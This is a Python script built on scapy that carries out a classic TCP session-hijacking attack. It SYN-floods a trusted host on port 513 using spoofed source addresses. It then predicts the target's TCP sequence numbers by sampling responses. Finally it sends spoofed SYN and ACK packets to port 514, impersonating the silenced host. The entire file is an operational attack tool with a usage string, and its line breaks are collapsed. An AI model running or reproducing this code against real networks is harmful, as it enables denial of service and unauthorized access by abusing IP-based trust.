import optparse from scapy.all import *
def synFlood(src, tgt): for sport in range(1024, 65535): IPlayer = IP(src=src, dst=tgt) TCPlayer = TCP(sport=sport, dport=513) pkt = IPlayer / TCPlayer send(pkt)
def calTSN(tgt): seqNum = 0 preNum = 0 diffSeq = 0 for x in range(1,5): if seqNum != 0: preNum = seqNum pkt = IP(dst=tgt) / TCP() ans = sr1(pkt, verbose=0) seqNum = ans.getlayer(TCP).seq if preNum != 0: diffSeq = seqNum - preNum print("[*] preNum: %d seqNum: %d" % (preNum, seqNum)) print("[+] TCP Seq Difference: " + str(diffSeq)) print() return seqNum + diffSeq
def spoofConn(src, tgt, ack): IPlayer = IP(src=src, dst=tgt) TCPlayer = TCP(sport=513, dport=514) synPkt = IPlayer / TCPlayer send(synPkt)
IPlayer = IP(src=src, dst=tgt) TCPlayer = TCP(sport=513, dport=514, ack=ack) ackPkt = IPlayer / TCPlayer send(ackPkt)
if __name__ == '__main__': parser = optparse.OptionParser('[*]Usage: main.py -s <src for SYN Flood> -S <src for spoofed connection> -t <target address>') parser.add_option('-s', dest='synSpoof', type='string', help='specifc src for SYN Flood') parser.add_option('-S', dest='srcSpoof', type='string', help='specify src for spoofed connection') parser.add_option('-t', dest='tgt', type='string', help='specify target address') (options, args) = parser.parse_args() if options.synSpoof == None or options.srcSpoof == None or options.tgt == None: exit(0) else: synSpoof = options.synSpoof srcSpoof = options.srcSpoof tgt = options.tgt synFlood(synSpoof, srcSpoof) seqNum = calTSN(tgt) + 1 spoofConn(srcSpoof, tgt, seqNum)
|